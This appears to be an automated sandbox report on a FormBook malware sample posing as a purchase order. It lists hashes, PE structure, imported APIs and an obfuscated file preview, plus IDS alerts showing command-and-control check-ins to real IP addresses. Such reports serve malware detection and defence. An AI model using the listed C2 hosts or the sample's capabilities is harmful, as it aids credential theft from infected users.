SHA1:	FFC83EA9BC21A468DC7922751D36AD7254CE87E6
SHA-256:	4A14D3039671A9049BACAF2A81F2D408D732E06AF579AE9DAEA22E6195F8C9BC
SHA-512:	7C6B6FCD33021810D4459DF6713DA5482BC526C3F9F4B239382B1EF4083A9BBFFF93535026C591F31289E652E17B1FB9F618DC83F2C46B3A32F96DD3EB0E0D09
Malicious:	false
Preview:	dlks0dlksxdlks5dlks5dlks8dlksbdlksedlkscdlks8dlks1dlksedlkscdlkscdlkscdlks0dlks2dlks0dlks0dlks0dlks0dlks5dlks6dlks5dlks7dlksbdlks8dlks6dlksbdlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlks5dlks8dlks4dlksbdlks9dlks6dlks5dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlksddlks8dlks6dlksbdlksadlks7dlks2dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks5dlks5dlks8dlks8dlksbdlks8dlks6dlksedlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlks5dlks8dlksadlksbdlks9dlks6dlks5dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlksddlks8dlkscdlksbdlksadlks6dlkscdlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks5dlks5dlks8dlksedlksbdlks8dlks3dlks3dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlks5dlks9dlks0dlksbdlks9dlks3dlks2dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlksddlks9dlks2dlksbdlksadlks2dlksedlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks5dlks5dlks9dlks4dlksbdlks8dlks6dlks4dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.106414733161928
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PO AT-5228.exe
File size:	1'175'040 bytes
MD5:	3df965173d78acbf95001caccbeaa150
SHA1:	0ebe604c158eca5244c2fb19d56b03f6f7ae338a
SHA256:	865ba0cdbc273e3d3035ec2acaf6510977798e008e79546e96e33e289b22c3b2
SHA512:	b607e9a714b12b6c449a236b76309dfd9f1079b630d755b7787b4ab252ccdb1ce2ef36fea4188f5f2c8fb466cc4fc1604a691ab4c2d4297f4703dfa3ef40d7c9
SSDEEP:	24576:wtb20pkaCqT5TBWgNQ7apWZJH94uCiP6/WVX7fe6A:5Vg5tQ7apWvOuLyaX7G5
TLSH:	E645CF2373DD8365C3B25273BA667701AEBF782506A1F96B2FD4093DE820122525E773
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x425f74
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673436AE [Wed Nov 13 05:18:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3d95adbf13bbe79dc24dccb401c12091

Entrypoint Preview

Instruction
call 00007F74C858102Fh
jmp 00007F74C8574044h
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F74C85741CAh
cmp edi, eax
jc 00007F74C857452Eh
bt dword ptr [004C0158h], 01h
jnc 00007F74C85741C9h
rep movsb
jmp 00007F74C85744DCh
cmp ecx, 00000080h
jc 00007F74C8574394h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F74C85741D0h
bt dword ptr [004BA370h], 01h
jc 00007F74C85746A0h
bt dword ptr [004C0158h], 00000000h
jnc 00007F74C857436Dh
test edi, 00000003h
jne 00007F74C857437Eh
test esi, 00000003h
jne 00007F74C857435Dh
bt edi, 02h
jnc 00007F74C85741CFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F74C85741D3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F74C8574225h
bt esi, 03h
jnc 00007F74C8574278h
movdqa xmm1, dqword ptr [esi+00h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2012 UPD4 build 61030
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7004	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x55ddc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x11a000	0x6c4c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8d8d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb2730	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8d000	0x860	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8b54f	0x8b600	f437a6545e938612764dbb0a314376fc	False	0.5699499019058296	data	6.680413749210956	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8d000	0x2cc42	0x2ce00	827ffd24759e8e420890ecf164be989e	False	0.330464397632312	data	5.770192333189168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xba000	0x9d54	0x6200	e0a519f8e3a35fae0d9c2cfd5a4bacfc	False	0.16402264030612246	data	2.002691099965349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc4000	0x55ddc	0x55e00	6c078aef17878ee1f04d594f4d5a0801	False	0.9262076965065502	data	7.891175276345883	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x11a000	0xa474	0xa600	0bc98f8631ef0bde830a7f83bb06ff08	False	0.5017884036144579	data	5.245426654116355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc44a0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc45c8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc48b0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc49d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc5880	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc6128	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc6690	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xc8c38	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xc9ce0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_STRING	0xca148	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xca6dc	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcad68	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcb1f8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcb7f4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcbe50	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcc2b8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcc410	0x4d4b2	data			1.0003348136730323
RT_GROUP_ICON	0x1198c4	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x11993c	0x14	data	English	Great Britain	1.15
RT_VERSION	0x119950	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x119a2c	0x3b0	ASCII text, with CRLF line terminators	English	Great Britain	0.5116525423728814

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	UnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
GDI32.dll	SetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T09:26:31.986660+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.4	49730	TCP
2024-11-13T09:26:44.569269+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49736	38.88.82.56	80	TCP
2024-11-13T09:26:51.947915+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	58815	TCP
2024-11-13T09:26:53.351914+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	58816	TCP
2024-11-13T09:27:00.343483+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58817	3.33.130.190	80	TCP
2024-11-13T09:27:03.753028+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58818	3.33.130.190	80	TCP
2024-11-13T09:27:05.405537+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58819	3.33.130.190	80	TCP
2024-11-13T09:27:07.951083+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	58820	3.33.130.190	80	TCP
2024-11-13T09:27:14.244016+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58822	194.58.112.174	80	TCP
2024-11-13T09:27:16.921423+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58838	194.58.112.174	80	TCP
2024-11-13T09:27:19.306881+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58854	194.58.112.174	80	TCP
2024-11-13T09:27:21.875358+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	58870	194.58.112.174	80	TCP
2024-11-13T09:27:27.678498+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58902	3.33.130.190	80	TCP
2024-11-13T09:27:30.221107+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58917	3.33.130.190	80	TCP
2024-11-13T09:27:32.803146+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58932	3.33.130.190	80	TCP
2024-11-13T09:27:35.341841+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	58948	3.33.130.190	80	TCP
2024-11-13T09:27:42.064513+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58983	104.21.14.183	80	TCP
2024-11-13T09:27:44.597204+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	58999	104.21.14.183	80	TCP
2024-11-13T09:27:47.160557+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59009	104.21.14.183	80	TCP
2024-11-13T09:27:50.170836+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	59023	104.21.14.183	80	TCP
2024-11-13T09:27:56.034508+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59058	67.223.117.142	80	TCP
2024-11-13T09:27:58.597030+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59069	67.223.117.142	80	TCP
2024-11-13T09:28:01.387326+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59085	67.223.117.142	80	TCP
2024-11-13T09:28:03.667072+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	59101	67.223.117.142	80	TCP
2024-11-13T09:28:09.323526+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59102	3.33.130.190	80	TCP
2024-11-13T09:28:11.872164+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59103	3.33.130.190	80	TCP
2024-11-13T09:28:15.300346+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59104	3.33.130.190	80	TCP
2024-11-13T09:28:17.827029+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	59105	3.33.130.190	80	TCP
2024-11-13T09:28:24.003472+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59106	113.20.119.31	80	TCP
2024-11-13T09:28:26.550389+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59107	113.20.119.31	80	TCP
2024-11-13T09:28:29.144201+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59108	113.20.119.31	80	TCP
2024-11-13T09:28:31.644067+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	59109	113.20.119.31	80	TCP
2024-11-13T09:28:38.300689+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59110	47.129.103.185	80	TCP
2024-11-13T09:28:40.832105+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59111	47.129.103.185	80	TCP
2024-11-13T09:28:43.409754+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59112	47.129.103.185	80	TCP
2024-11-13T09:28:45.910009+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	59113	47.129.103.185	80	TCP
2024-11-13T09:28:51.797362+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59114	38.47.237.27	80	TCP
2024-11-13T09:28:54.330228+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59115	38.47.237.27	80	TCP
2024-11-13T09:28:56.906066+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59116	38.47.237.27	80	TCP
2024-11-13T09:28:59.452166+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	59117	38.47.237.27	80	TCP
2024-11-13T09:29:06.175663+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59118	206.119.81.36	80	TCP
2024-11-13T09:29:08.769360+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59119	206.119.81.36	80	TCP
2024-11-13T09:29:11.316348+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59120	206.119.81.36	80	TCP
2024-11-13T09:29:13.863112+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	59121	206.119.81.36	80	TCP
2024-11-13T09:29:19.904719+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	59122	172.217.16.211	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 09:26:43.860537052 CET	49736	80	192.168.2.4	38.88.82.56
Nov 13, 2024 09:26:43.867105961 CET	80	49736	38.88.82.56	192.168.2.4
Nov 13, 2024 09:26:43.867309093 CET	49736	80	192.168.2.4	38.88.82.56
Nov 13, 2024 09:26:43.877887011 CET	49736	80	192.168.2.4	38.88.82.56
Nov 13, 2024 09:26:43.884242058 CET	80	49736	38.88.82.56	192.168.2.4
Nov 13, 2024 09:26:44.568723917 CET	80	49736	38.88.82.56	192.168.2.4
Nov 13, 2024 09:26:44.568779945 CET	80	49736	38.88.82.56	192.168.2.4
Nov 13, 2024 09:26:44.569268942 CET	49736	80	192.168.2.4	38.88.82.56
Nov 13, 2024 09:26:44.621383905 CET	80	49736	38.88.82.56	192.168.2.4
Nov 13, 2024 09:26:44.621859074 CET	49736	80	192.168.2.4	38.88.82.56
Nov 13, 2024 09:26:44.622798920 CET	49736	80	192.168.2.4	38.88.82.56
Nov 13, 2024 09:26:44.627928972 CET	80	49736	38.88.82.56	192.168.2.4
Nov 13, 2024 09:26:59.679337978 CET	58817	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:26:59.684766054 CET	80	58817	3.33.130.190	192.168.2.4
Nov 13, 2024 09:26:59.684883118 CET	58817	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:26:59.698765039 CET	58817	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:26:59.704082966 CET	80	58817	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:00.343401909 CET	80	58817	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:00.343482971 CET	58817	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:01.206331968 CET	58817	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:01.211216927 CET	80	58817	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:02.223941088 CET	58818	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:02.228815079 CET	80	58818	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:02.228902102 CET	58818	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:02.237179041 CET	58818	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:02.242037058 CET	80	58818	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:03.753027916 CET	58818	80	192.168.2.4	3.33.130.190
